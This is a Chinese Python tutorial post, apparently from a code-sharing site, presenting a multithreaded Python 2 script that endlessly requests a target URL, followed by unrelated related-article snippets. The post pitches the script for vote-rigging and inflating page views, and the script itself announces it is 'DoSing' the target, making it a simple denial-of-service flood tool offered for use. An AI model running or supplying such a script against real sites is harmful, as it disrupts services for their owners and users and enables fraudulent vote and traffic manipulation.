python使用多线程不断刷新网页的方法

yipeiwu_com6年前Python基础

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to //www.jb51.net/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

相关文章

python实现DNS正向查询、反向查询的例子

1.DNS查询过程: 以查询 www.baidu.com为例 (1)电脑向本地域名服务器发送解析www.baidu.com的请求(2)本地域名服务器收到请求后,先查询本地的缓存,如果找到...

详解python中*号的用法

1、表示乘号 2、表示倍数,例如: def T(msg,time=1): print((msg+' ')*time) T('hi',3) 打印结果(打印3次): hi hi...

PyQt5每天必学之QSplitter实现窗口分隔

QSplitter使用户可以通过拖动子面板的边界控制子面板的大小。在我们的例子中,我们使用了两个QSplitter 对三个QFrame 控件进行了分隔。 #!/usr/bin/pyt...

Python线程条件变量Condition原理解析

这篇文章主要介绍了Python线程条件变量Condition原理解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 Condition...

python中的__slots__使用示例

正常情况下,当我们定义了一个class,创建了一个class的实例后,我们可以给该实例绑定任何属性和方法,这就是动态语言的灵活性。先定义class: 复制代码 代码如下: >>...